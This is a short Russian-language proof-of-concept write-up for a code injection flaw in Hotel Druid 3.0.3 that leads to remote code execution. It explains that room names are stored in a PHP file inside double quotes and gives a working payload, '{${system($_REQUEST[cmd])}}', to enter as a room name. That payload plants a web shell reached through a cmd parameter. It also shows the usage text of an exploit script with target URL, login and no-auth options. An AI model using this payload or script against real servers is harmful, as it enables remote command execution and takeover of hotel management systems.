
Hotel Druid 3.0.3: внедрение кода, приводящее к удаленному выполнению кода
Уязвимость внедрения кода была обнаружена в приложении Hotel Druid v3.0.3, которую злоумышленник может использовать для удаленного выполнения кода на сервере.
Для успешной эксплуатации злоумышленник должен иметь привилегию добавления новой комнаты.
Уязвимость возникает из-за того, что названия комнат сохраняются в файл с именем /dati/selectappartamenti.php с использованием двойных кавычек.
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
Для успешной эксплуатации добавьте новую комнату со следующей полезной нагрузкой в качестве названия комнаты.
{${system($_REQUEST[cmd])}}
После добавления новой комнаты перейдите на /dati/selectappartamenti.php и запустите веб-шелл, передав команду через параметр cmd.
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
Если в приложении нет аутентификации.
Используйте флаг --noauth для работы без аутентификации.

Если на сервере включена аутентификация, используйте --username и --password для аутентификации.

Исследователь и автор PoC — 0z09e